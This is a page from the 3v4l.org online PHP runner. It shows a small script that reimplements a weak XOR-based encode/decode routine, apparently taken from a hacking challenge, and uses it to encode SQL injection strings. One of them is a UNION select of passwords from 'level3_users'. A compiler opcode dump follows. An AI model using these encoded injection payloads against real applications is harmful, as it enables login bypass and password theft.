3v4l.org

run code in 300+ PHP versions simultaneously
<?php // warning! ugly code ahead :) function encrypt($str) { $cryptedstr = ""; srand(3284724); for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ rand(0, 255); while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } function decrypt ($str) { srand(3284724); if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s ^ rand(0, 255); $decStr .= chr($a); } return $decStr; } return false; } return false; } echo(decrypt("MDYzMjIzMDA2MTU2MTQxMjU0")); echo("\r\n"); echo(decrypt("MDQyMjExMDE0MTgyMTQw")); echo("\r\n"); echo("Admin' order by 100;--"); echo("\r\n"); echo(encrypt("Admin' order by 1;--")); echo("\r\n"); echo(encrypt("Admin\" order by 100;--")); echo("\r\n"); echo(encrypt("Admin' or '' = '")); echo("\r\n"); echo(encrypt("Admin'and '' = '")); echo("\r\n"); echo(encrypt("Admin'UNION select password from level3_users --")); echo("\r\n"); echo(encrypt("Admin' or '' = '' order by 5 ;#")); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/d48bi
function name:  (null)
number of ops:  42
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   50     0  E >   INIT_FCALL                                               'decrypt'
          1        SEND_VAL                                                 'MDYzMjIzMDA2MTU2MTQxMjU0'
          2        DO_FCALL                                      0  $0      
          3        ECHO                                                     $0
   51     4        ECHO                                                     '%0D%0A'
   52     5        INIT_FCALL                                               'decrypt'
          6        SEND_VAL                                                 'MDQyMjExMDE0MTgyMTQw'
          7        DO_FCALL                                      0  $1      
          8        ECHO                                                     $1
   53     9        ECHO                                                     '%0D%0A'
   54    10        ECHO                                                     'Admin%27+order+by+100%3B--'
   55    11        ECHO                                                     '%0D%0A'
   56    12        INIT_FCALL                                               'encrypt'
         13        SEND_VAL                                                 'Admin%27+order+by+1%3B--'
         14        DO_FCALL                                      0  $2      
         15        ECHO                                                     $2
   57    16        ECHO                                                     '%0D%0A'
   58    17        INIT_FCALL                                               'encrypt'
         18        SEND_VAL                                                 'Admin%22+order+by+100%3B--'
         19        DO_FCALL                                      0  $3      
         20        ECHO                                                     $3
   59    21        ECHO                                                     '%0D%0A'
   60    22        INIT_FCALL                                               'encrypt'
         23        SEND_VAL                                                 'Admin%27+or+%27%27+%3D+%27'
         24        DO_FCALL                                      0  $4      
         25        ECHO                                                     $4
   61    26        ECHO                                                     '%0D%0A'
   62    27        INIT_FCALL                                               'encrypt'
         28        SEND_VAL                                                 'Admin%27and++%27%27+%3D+%27'
         29        DO_FCALL                                      0  $5      
         30        ECHO                                                     $5
   63    31        ECHO                                                     '%0D%0A'
   64    32        INIT_FCALL                                               'encrypt'
         33        SEND_VAL                                                 'Admin%27UNION+select+password+from+level3_users+--'
         34        DO_FCALL                                      0  $6      
         35        ECHO                                                     $6
   65    36        ECHO                                                     '%0D%0A'
   66    37        INIT_FCALL                                               'encrypt'
         38        SEND_VAL                                                 'Admin%27+or+%27%27+%3D+%27%27+order+by+5++%3B%23'
         39        DO_FCALL                                      0  $7      
         40        ECHO                                                     $7
   71    41      > RETURN                                                   1

Function encrypt:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 30
Branch analysis from position: 30
2 jumps found. (Code = 44) Position 1 = 33, Position 2 = 7
Branch analysis from position: 33
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 27, Position 2 = 22
Branch analysis from position: 27
2 jumps found. (Code = 44) Position 1 = 33, Position 2 = 7
Branch analysis from position: 33
Branch analysis from position: 7
Branch analysis from position: 22
2 jumps found. (Code = 44) Position 1 = 27, Position 2 = 22
Branch analysis from position: 27
Branch analysis from position: 22
filename:       /in/d48bi
function name:  encrypt
number of ops:  38
compiled vars:  !0 = $str, !1 = $cryptedstr, !2 = $i, !3 = $temp
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    5     0  E >   RECV                                             !0      
    7     1        ASSIGN                                                   !1, ''
    8     2        INIT_FCALL                                               'srand'
          3        SEND_VAL                                                 3284724
          4        DO_ICALL                                                 
    9     5        ASSIGN                                                   !2, 0
          6      > JMP                                                      ->30
   11     7    >   INIT_FCALL                                               'ord'
          8        INIT_FCALL                                               'substr'
          9        SEND_VAR                                                 !0
         10        SEND_VAR                                                 !2
         11        SEND_VAL                                                 1
         12        DO_ICALL                                         $7      
         13        SEND_VAR                                                 $7
         14        DO_ICALL                                         $8      
         15        INIT_FCALL                                               'rand'
         16        SEND_VAL                                                 0
         17        SEND_VAL                                                 255
         18        DO_ICALL                                         $9      
         19        BW_XOR                                           ~10     $8, $9
         20        ASSIGN                                                   !3, ~10
   13    21      > JMP                                                      ->24
   15    22    >   CONCAT                                           ~12     '0', !3
         23        ASSIGN                                                   !3, ~12
   13    24    >   STRLEN                                           ~14     !3
         25        IS_SMALLER                                               ~14, 3
         26      > JMPNZ                                                    ~15, ->22
   17    27    >   CONCAT                                           ~16     !3, ''
         28        ASSIGN_OP                                     8          !1, ~16
    9    29        PRE_INC                                                  !2
         30    >   STRLEN                                           ~19     !0
         31        IS_SMALLER                                               !2, ~19
         32      > JMPNZ                                                    ~20, ->7
   19    33    >   INIT_FCALL                                               'base64_encode'
         34        SEND_VAR                                                 !1
         35        DO_ICALL                                         $21     
         36      > RETURN                                                   $21
   20    37*     > RETURN                                                   null

End of function encrypt

Function decrypt:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 52
Branch analysis from position: 9
2 jumps found. (Code = 46) Position 1 = 15, Position 2 = 17
Branch analysis from position: 15
2 jumps found. (Code = 46) Position 1 = 18, Position 2 = 20
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 21, Position 2 = 51
Branch analysis from position: 21
1 jumps found. (Code = 42) Position 1 = 33
Branch analysis from position: 33
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 24
Branch analysis from position: 36
2 jumps found. (Code = 77) Position 1 = 37, Position 2 = 49
Branch analysis from position: 37
2 jumps found. (Code = 78) Position 1 = 38, Position 2 = 49
Branch analysis from position: 38
1 jumps found. (Code = 42) Position 1 = 37
Branch analysis from position: 37
Branch analysis from position: 49
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 49
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 24
Branch analysis from position: 36
Branch analysis from position: 24
Branch analysis from position: 51
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 20
Branch analysis from position: 17
Branch analysis from position: 52
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/d48bi
function name:  decrypt
number of ops:  54
compiled vars:  !0 = $str, !1 = $decStr, !2 = $i, !3 = $array, !4 = $s, !5 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   22     0  E >   RECV                                             !0      
   24     1        INIT_FCALL                                               'srand'
          2        SEND_VAL                                                 3284724
          3        DO_ICALL                                                 
   25     4        INIT_FCALL                                               'preg_match'
          5        SEND_VAL                                                 '%25%5E%5Ba-zA-Z0-9%2F%2B%5D%2A%3D%7B0%2C2%7D%24%25'
          6        SEND_VAR                                                 !0
          7        DO_ICALL                                         $7      
          8      > JMPZ                                                     $7, ->52
   27     9    >   INIT_FCALL                                               'base64_decode'
         10        SEND_VAR                                                 !0
         11        DO_ICALL                                         $8      
         12        ASSIGN                                                   !0, $8
   28    13        IS_NOT_EQUAL                                     ~10     !0, ''
         14      > JMPZ_EX                                          ~10     ~10, ->17
         15    >   IS_NOT_EQUAL                                     ~11     !0, null
         16        BOOL                                             ~10     ~11
         17    > > JMPZ_EX                                          ~10     ~10, ->20
         18    >   BOOL                                             ~12     !0
         19        BOOL                                             ~10     ~12
         20    > > JMPZ                                                     ~10, ->51
   30    21    >   ASSIGN                                                   !1, ''
   32    22        ASSIGN                                                   !2, 0
         23      > JMP                                                      ->33
   34    24    >   DIV                                              ~15     !2, 3
         25        INIT_FCALL                                               'substr'
         26        SEND_VAR                                                 !0
         27        SEND_VAR                                                 !2
         28        SEND_VAL                                                 3
         29        DO_ICALL                                         $17     
         30        ASSIGN_DIM                                               !3, ~15
         31        OP_DATA                                                  $17
   32    32        ASSIGN_OP                                     1          !2, 3
         33    >   STRLEN                                           ~19     !0
         34        IS_SMALLER                                               !2, ~19
         35      > JMPNZ                                                    ~20, ->24
   37    36    > > FE_RESET_R                                       $21     !3, ->49
         37    > > FE_FETCH_R                                               $21, !4, ->49
   39    38    >   INIT_FCALL                                               'rand'
         39        SEND_VAL                                                 0
         40        SEND_VAL                                                 255
         41        DO_ICALL                                         $22     
         42        BW_XOR                                           ~23     !4, $22
         43        ASSIGN                                                   !5, ~23
   40    44        INIT_FCALL                                               'chr'
         45        SEND_VAR                                                 !5
         46        DO_ICALL                                         $25     
         47        ASSIGN_OP                                     8          !1, $25
   37    48      > JMP                                                      ->37
         49    >   FE_FREE                                                  $21
   43    50      > RETURN                                                   !1
   45    51    > > RETURN                                                   <false>
   47    52    > > RETURN                                                   <false>
   48    53*     > RETURN                                                   null

End of function decrypt

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
169.59 ms | 1411 KiB | 37 Q